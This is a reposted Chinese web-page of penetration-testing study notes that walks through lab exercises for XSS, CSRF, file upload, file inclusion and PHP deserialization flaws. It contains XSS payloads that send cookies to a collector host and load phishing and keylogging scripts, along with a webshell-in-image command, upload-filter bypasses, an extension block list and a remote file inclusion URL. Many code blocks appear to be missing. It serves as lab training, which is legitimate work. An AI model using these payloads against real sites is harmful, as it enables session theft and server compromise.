| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> JavaScript知识库 -> 渗透测试 2 --- http协议、XSS、CSRF、文件上传、文件包含、反序列化漏洞 -> 正文阅读 |
|
[JavaScript知识库]渗透测试 2 --- http协议、XSS、CSRF、文件上传、文件包含、反序列化漏洞 |
1、渗透测试 实用 浏览器插件
chrome、edge 插件:搜索 cookie,安装 cookie editor,打开插件,可以 导出 cookie 2、XSS : Cross Site Script
cookie 不能跨域名 xss 原理:https://www.bilibili.com/video/BV18r4y1878F?p=17 http 协议 反射型? 存储型把 代码 放到服务器上, ? DVWA 靶场安装和设置:https://www.bilibili.com/video/BV18r4y1878F?p=19 pikachu 靶场安装和设置:https://www.bilibili.com/video/BV18r4y1878F?p=20 把上面 ip 地址改成自己服务器的 ip ? <script>alert("XSS")</script> // 如果 script 标签被屏蔽,可以使用其他标签 cookie攻击 payload? <script>document.location="http://192.168.0.6/pikachu_master/pkxss/xcookie/cookie.php?cookie="+document.cookie;</script> 钓鱼攻击 payload <script src="http://192.168.0.6/pikachu_master/pkxss/xfish/xfish.php"></script> 记录键盘操作攻击 payload <script src="http://192.168.0.6/pikachu_master/pkxss/rkeypress/rk.js"></script> <iframe src="../csrf" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)> 更多功能的 xss 平台pikachu 的 xss 只有 "cookie、钓鱼、记录键盘" 功能。 可以看到只有3个模块,模块太少,如果需要其他功能,可以搜索其他 xss 后台, 搜索关键字:xss 平台、xss平台 github xss平台:https://github.com/78778443/xssplatform 搭建个人XSS平台:https://blog.csdn.net/weixin_44676102/article/details/122021764 搜索关键字:xss payload kali 中 xss 平台 --- beef-xsskali 早期版本中也有一个 "xss 平台" 叫做 "beff-xss",新版本需要安装。 beff-xss 安装后,登录用户名:beef? ? 密码是安装时设置的,为了简单,直接设置 kali 密码? 跨站脚本漏洞检测工具xsser github:https://github.com/epsylon/xsser XSStrike ? 只能运行在 Python3 环境 3、CSRF?CSRF定义:?跨站请求伪造(英语:Cross-site request forgery)是一种对网站的恶意利用,也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。?CSRF跨站点请求伪造(Cross—Site Request Forgery) 跟XSS攻击一样,存在巨大的危害性。 CSRF地位:是一种网络攻击方式,是互联网重大安全隐患之一,NYTimes.com(纽约时报)、Metafilter,YouTube、Gmail和百度HI都受到过此类攻击。 对比XSS:跟跨网站脚本(XSS)相比,
如下:其中
如果上面 CSRF 原理看不懂,可以再看这个原理: 先了解第一方和第三方cookie概念 Cookie是一个域服务器存储在浏览器中的一小段数据块,只能被这个域访问,谁设置则谁访问。 第一方Cookie:比如,访问www.a.com这个网站,这个网站设置了一个Cookie,这个Cookie也只能被www.a.com这个域下的网页读取。 第三方Cookie:比如,访问www.a.com这个网站,网页里有用到www.b.com网站的一张图片,浏览器在www.b.com请求图片的时候,www.b.com设置了一个Cookie,那这个Cookie只能被www.b.com这个域访问,反而不能被www.a.com这个域访问,因为对我们来说,我们实际是在访问www.a.com这个网站被设置了一个www.b.com这个域下的Cookie,所以叫第三方Cookie。 CSRF 原理: 道:怎么确定一个接口地址有没有 CSRF 漏洞 术:具体怎么操作 器:有没有工具可以使用 Burp Suite pro CSRF tester ( 工具比较老,推荐?Burp Suite pro )? github: CSRFTester & burpsuite之CSRF测试:https://www.cnblogs.com/forforever/p/12733474.html 【CSRF详解】CSRF原理、利用过程、分类、举例、工具:https://blog.csdn.net/qq_53079406/article/details/123942109 Bolt (? ):https://github.com/s0md3v/Bolt 防御 CSRF 思路:
4、文件上传漏洞文件上传漏洞原理:文件上传漏洞是指用户上传一个文件,文件中嵌入 可执行代码,而且通过这段代码,可以获得执行服务器命令的能力。上传 "头像、资源、图片、附件、简历"?等,只要是上传东西,都可能文件上传漏洞 文件上传漏洞利用流程:
文件上传漏洞的防御:
webshell 介绍github 搜索:?webshell github ( 一句话木马、大马、小马 ):https://github.com/tennc/webshell 一句话木马代码短,只有一行,场景多,可以单独生成文件,也可以插入到图片中,安全性高隐匿性强,可变性免杀。
示例 演示: 网站根目录下添加 test_muma.php 文件,文件内容如图所示,然后浏览器访问?"http://127.0.0.1/pikachu_master/test_muma.php" 出现空白页,这是正常返回,因为没有内容,只要不出现 404 就是正常。( php 版本5.6.9、 firefox最新版 (?chrome 最新版显示不出来 ) )
小马体积小,功能少,只有文件上传功能,是为一句话木马铺路用的。 使用场景:当一个站点 "没有文件上传功能",但是可以放文件进入时,就可以把 "具有文件上传功能的文件" 放进去,通过这个文件上传 一句话木马文件,?从而间接的实现文件上传功能。 大马体积大,功能全,能够管理数据库,文件管理,对站点进行信息收集,甚至能够提权 从哪找或者怎么编写 大马、小马
网站控制工具通过 "一句话木马、大马、小马" 控制网站后,可以通过 "网站控制工具" 进行管理
Web 木马常用工具有三个 (?蚁剑、哥斯拉、冰蝎?):
使用示例:weevely渗透测试Web利器篇 之 Weevely:https://blog.csdn.net/lzp_5257/article/details/124232269 生成 Shell
连接 shell
生成混淆 shell
1、使用 weevely 生成webshell文件,如文件名 shell.php,密码 123456 信息收集
文件管理
命令执行
会话转移(Kali中很多工具和数据都是互通的)
使用示例:中国蚁剑中国蚁剑(AntSword)安装、使用教程:https://blog.csdn.net/weixin_41924764/article/details/108099952 蚁剑分为两个部分,一个是核心源码,另一个是加载器,
下载源码和加载器,将源码文件夹放在加载器文件夹中,然后启动exe,点击初始化,选择源码文件夹,显示设置完毕,重启就好了 一句话木马
JSP:
使用示例:哥斯拉首先从 github 下载,下载是一个 jar 文件,直接打开 菜单栏 ---> 管理 ---> 生成? 打开文件,可以看到生成的一句话木马 把 godzilla.php 放到网站目录下 ( 我本机?D:\Software\phpstudy_pro\WWW\pikachu_master),现在使用 哥斯拉 连接。 连接后,点击进入,就可以看到上面的功能,如下: 使用示例:冰蝎下载完成后,进入 server 文件夹中,可以看到已经存在 webshell,不需要自己生成
这里把 server 文件夹中 shell.php 放到网站目录下,使用 冰蝎 进行连接 文件上传漏洞靶场安装、练习github 地址:https://github.com/c0ny1/upload-labs 安装、通关
Pass-01 ( 修改前端代码?)
方法1:查看源码,发现是使用 js 进行文件校验,所以可以修改前端代码,把 js 代码干掉。 ( 使用的 firefox 浏览器,chrome 好像有问题?) 在选择文件 test_muma.php 上传,发现上传成功,? test_muma.php 内容
使用 蚁剑 进行连接 双击,可以看到目录,说明连接成功,且 test_muma.php 工作正常 ?方法2: Pass-02 ( bp 拦截请求并修改?)既然用户可以修改前端代码,所以又在后端都进行了检查。查看提示:? 发现是对上传的文件类型进行了 校验,只要不是 image/jpeg、image/png、image/gif 都不通过。这个文件类型是浏览器根据上传的文件类型,在请求头中自动标记的 (?Content Type、Accept?? ),所以可以通过代理拦截请求,并修改请求头中这个字段的值,然后发送 MIME 用法
这里使用 BurpSuite 进行代理拦截。启动 bp, 选择文件,点击上传,就可以拦截到 请求? 修改 Content-Type 值为?image/jpeg,在 bp 中点击 forward 按钮,即可上传成功 再次使用 蚁剑 进行连接,可以看到显示正常。 Pass-03 ( 等价扩展名?)查看提示,可以看到可以获取到文件的扩展名, 获取到扩展名,还设置有扩展名拒绝的黑名单 ( .asp、.aspx、.php、.jsp?),后面还进行删除了文件末尾的点、转换大小写等操作。所以处理思路有两个,
这里修改 test_muma.php 为 test_muma.php3,然后上传,发现上传成功 鼠标放在图片上,右键 ---> 新建标签页打开图像 ,可以看到 图片地址,把这个地址放在 蚁剑 中进行连接,发现执行成功。
Pass-04 ( .htaccess文件?)查看源码提示,可以发现黑名单中扩展名增多了,$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); 既然黑名单扩展名增多了,那能不能改成一个黑名单中不存在的扩展名,比如说图片的 jpg 格式。 现在把 "test_muma.php 改成 test_muma.jpg" 发现可以上传成功,但是浏览器只是把上传的文件识别成图片,不能把图片解析成代码并运行。 所以这里就可以猜想,浏览器能不能把图片当成代码来解析,并运行? 需要用到 .htaccess文件 ( Hypertext Access(超文本入口)? )。.htaccess 文件是 Apache 服务器中的一个配置文件,它负 责相关目录下的网页配置。 通过 .htaccess 文件,可以实现:
准备一个 .htaccess 文件:
上传这个 .htaccess 文件,那么刚才上传的 jpg 文件就会成为一个 webshell 可以连接了。 采用 .htaccess 文件的优缺点:
Pass-05?( ?)制作图片木马:
Pass-06?( 后缀名大小写敏感?)查看提示说明,发现源码扩展名黑名单中,把?.htaccess 扩展名也添加进去了,对比第四关源码,可以发现这一关中少了 大小写转换,所以就会出现 大小写敏感的情况 把 test_muma.php 改成 test.PHP ,然后上传,使用蚁剑进行连接? Pass-07?( 首尾空格?)查看提示说明,和第四关对比,发现少了 首尾去空格,但是 windows 保存文件是,会自动去掉首尾的空格,所以是需要抓包拦截,然后修改 打开 bp 的拦截, 添加一个 空格,然后点击 forward 然后使用 蚁剑 进行连接 Pass-08?( 文件名末尾的点 )查看提示说明,和第四关对比,发现少了 删除文件名末尾的点 Pass-09?( ::$ 特殊符号?)查看提示说明,和第四关对比,发现少了 ::$DATA ,所以可以使用 bp 抓包进行修改,添加上?::$DATA。? bp 拦截请求,然后进行修改,转发? 查看网站目录下,发现上传后,window自动干掉了后面的 ::$DATA 所以使用 蚁剑 进行连接时,可以两个 url 都试试, "http://127.0.0.1/upload_labs/upload/202206100851431917.php::$data" 发现不带 ::$DATA 的可以连接成功, Pass-10?( 构造扩展名 --- 添加 "点、空格"?)查看提示说明,发现和第四关一样,这是就需要分析 代码逻辑了。 代码逻辑:得到文件名 ( 包括文件的扩展名?)、删除文件名末尾的点、得到扩展名、扩展名转换成小写、删除::$DATA 、最后在删除首尾的空格。 所以可以构造文件名:"test_muma.php.空格." 打开 bp 拦截请求,并修改 使用 蚁剑 进行连接,可以连接成功, Pass-11?( 构造扩展名 --- 字符串替换 )查看提示,可以发现,如果文件名中有黑名单中关键字,则全部替换成 空字符串 查看源代码,看到只替换了一次,没有进行循环替换,所以可以构造 文件名? test_muma.pphphphpp,这样的文件名替换之后刚好是 test_muma.php? 使用 蚁剑 进行连接,可以连接成功, Pass-12?( 文件名截断 之 url编码截断?)
查看提示,发现只有 jpg、png、gif 才能上传成功, 通过查看代码可以发现,上传的图片保存位置在请求中的 save_path 参数中, 所以就可以通过拦截请求,修改 请求中的 save_path 参数,加上 test_mum.php%00 ,上传后的文件名就会保存成 test_muma.php? Pass-13?( 文件名截断 之 16进制截断?)和 第12关一样 ,都是文件名截断,第12关 save_path 是在 post 请求的url中,截断编码使用的url编码,但是这一关 save_path?不是在url中,所以需要改成 16禁止的截断编码 改成 00? Pass-14?( 图片马 文件包含 )通过提示,发现会检查上传文件的前两个字节,并判断这个两个字节,通过这两个字节判断文件类型。 扩展知识:每个文件都有文件头,文件头里面保存了文件的基本信息,可以知道文件是什么类型的文件。各类文件头标识:https://blog.csdn.net/mashuai720/article/details/111615743 制作 图片马:
缩略图可以正常显示,说明生成额 图片马 没有问题,也可以使用图片浏览工具打开,发现也正常。现在以 16进制形式打开文件,使用 010edit 打开 test_img_muma.png 在文件结尾处,可以看到 php 的代码 现在上传 test_img_muma.php 可以上传成功,但是使用 蚁剑 连接时,连接不上,这是因为生成的图片马中的 php 代码只能作为图片的一部分,并不能运行,这时想要 php 代码运行,就的使用 "文件包含漏洞" 运行图片马中的恶意代码。
点击上面的 "文件包含漏洞" 链接, 使用 蚁剑 进行连接。"http://127.0.0.1/upload_labs/include.php?file=upload/1520220610122650.png" Pass-15?(?图片马 图片校验 )通过提示发现,这一关通过 getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。 使用 第15 关图片可以直接过。 Pass-16?(?图片马 图片校验 )通过提示发现,这一关通过 exif_imagetype() 函数校验是不是图片。 使用 第15 关图片可以直接过。 Pass-17?( 图片马 渲染后图片?)这一关是上传的图片被进行了渲染处理,导致 php 代码被处理掉, 使用 010editor 打开自己生成的 图片?和 渲染后的图片 对比可以看下,渲染后的图片文件头部分就发生了改变,文件尾的一句话木马也被干掉了。 解决思路:不断的尝试把 一句话木马放在不同的位置才能渲染后不被干掉。也可以找网上别人整理好的渲染后不被干掉的图片。 copy azz.png /b + test_muma.php /a + azz.png /b + test_muma.php /a +azz.png /b + test_muma.php /a test_img_muma.png Pass-18?(?图片马 条件竞争? )条件竞争:利用代码执行的时间差 来实现目的 这一关也可以通过 "图片马 文件包含" 来实现,但是不是这题的本意。 通过分析代码可以知道代码是 "保存、判断、删除、删除完毕" 的逻辑。 所以处理思路是:能不能在文件存在的时候连接上去,并修改文件名。答案是肯定可以的,在判断和删除文件的时候,是需要花费时间的,可以开多线程同时请求,总有一个可以在文件存在的时候请求成功,并成功修改文件名。 总共分两步:
新建一个?test_competiton.php 文件,文件内容如下:
使用 bp 拦截请求,并进行多线程请求 把自动添加的 payload 删除 设置 payload 为 null 设置线程池 现在开始 第二步,现在开始通过程序不断的请求 Python 代码:
现在使用 蚁剑 进行连接,发现连接并执行成功 Pass-19?(?图片马 条件竞争? )思路:
Pass-20?(?move_uploaded_file 函数特性 ?)move_uploaded_file 函数在解析的时候,会忽略掉 /. 在上传框中加上? /.? 点击上传后,就会生成 test_muma.php 文件 使用蚁剑进行连接,可以连接成功 Pass-21?(??)查看提示,需要查看源码: 分析流程:https://www.bilibili.com/video/BV18r4y1878F?p=35 通过查看源码,发现校验了 MIME、文件扩展名,这两个需要使用 bp 拦截并修改请求。 其实只要数组小标 大于 1 即可。 5、文件包含文件包含漏洞文件包含漏洞:https://blog.csdn.net/huangyongkang666/article/details/123628579 文件包含:开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。
文件包含漏洞原理:文件包含是指当服务器开启 allow_url_include 选项时,就可以通过 PHP 的某些特性函数 include(),require() 和 include_once(),requir_once() ,然后利用 URL 去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen 选项,选项开启之后,服务器允许包含一个远程文件,服务器通过 PHP 特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
?php 需要更改 php.ini,才能开启 文件包含
远程访问示例,这里需要再开一台 web 服务器, http://127.0.0.1/upload_labs/include.php?file=http://192.168.1.5/1.txt 本地访问示例: 本地访问 php 伪函数、相关协议
PHP 伪协议:https://www.cnblogs.com/shawCE/p/15507496.html 支持的协议和封装协议:https://www.php.net/manual/zh/wrappers.php
示例:parse_str(file_get_contents('php://input'), $_PUT); CTFhub 示例CTFhub:https://www.ctfhub.com/#/index 结题思路:https://www.bilibili.com/video/BV18r4y1878F?p=42 "文件包含漏洞" 挖掘、利用挖掘:
利用
6、 PHP?序列化、反序列化 漏洞PHP 在线运行工具:https://c.runoob.com/compile/1/ PHP 面向对象PHP 面向对象:https://www.w3cschool.cn/php/php-oop.html 类与对象:https://www.php.net/manual/zh/language.oop5.php
魔术函数
序列化、反序列化序列化 (Serialization):是将 "内存中的对象"?转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后就可以通过从存储区中读取,或者反序列化对象的状态,重新创建该对象。实际上就是将数据持久化,而且序列化后也能更好的便于网络运输何传播。
序列化主要有两个用途
比如:想把一张桌子从 a -->?b,一张桌子肯定不好运输,因此需要把它拆开(这个拆的过程就是序列化);等到达了b需要把他组装起来 (?装的过程就是 反序列化? )。 PHP?序列化 函数:?serialize()
PHP 反序列化 函数:unserialize()
示例 1:https://blog.csdn.net/m0_46587008/article/details/109373942
定义一个 people 类,含有公共属性name,私有属性sex,保护属性age。随后实例化一个people_1 并对其进行序列化,最后输出结果为: O:6:"people":3:{s:4:"name";s:3:"sam";s:11:" people sex";s:3:"man";s:6:" * age";s:2:"20";}
__wakeup()?当unserialize()函数反序列化时,在数据流还未被反序列化未对象之前会调用该函数进行初始化. __destruct()?当对象销毁时触发,也就是说只要你反序列化或者实例化一个对象,当你调用结束后都会触发该函数。?
结果: __toString()?当一个对象被当作字符串使用时触发
结果:我在这 Catchable fatal error: Method next::__toString() must return a string value in /tmp/41bac5636b55eff5c8abea138d605489916c2612abc45fd39fdaa87a827a0e00/main.php on line 5? 这里没有retrun,也没有忽略报错,所有有一条报错信息,无关紧要,但是要说的是,__toString()是要又return的,不然会报错。结果显示当类star中的。echo $this->a; 执行时,a被当作一个字符串,此时我将a设置为类next,此时类next作为字符串被调用,所以触发类next中的__toString()函数,输出“我在这”。 __invoke()?当类被当作函数调用时触发,看实例。
结果: __get()?这个函数是当访问不可访问的属性的时候触发,不可访问的属性有两种
结果:我在这 示例 2:POP链的构造
1. 首先看到unserialize($_GET[‘hello’]) 将get传参的hello进行了反序列化操作。那么将会调用到Show类中__weakup方法。 上exp
反序列化 漏洞 原理:https://www.bilibili.com/video/BV18r4y1878F?p=47
1. 构造反序列化链 1、unserialize 函数的参数可控,比如通过 GET 请求传参(漏洞触发点) __wakeup( )绕过(CVE-2016-7124)
结果: 当换成??O:4:"star":2:{s:1:"a";s:9:"我在这";}??时,结果什么都没输出。 原因:当表示属性个数大于真实个数时,__wakeup()函数不执行,被绕过了,通常题目中,__wake() 中含有很多限制,通过这个漏洞绕过 __wake() 可以达到绕过限制的目的。 攻防世界 CTF 示例官网:https://adworld.xctf.org.cn/ 示例 payload
|
|
JavaScript知识库 最新文章 |
ES6的相关知识点 |
react 函数式组件 & react其他一些总结 |
Vue基础超详细 |
前端JS也可以连点成线(Vue中运用 AntVG6) |
Vue事件处理的基本使用 |
Vue后台项目的记录 (一) |
前后端分离vue跨域,devServer配置proxy代理 |
TypeScript |
初识vuex |
vue项目安装包指令收集 |
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/23 16:55:31- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |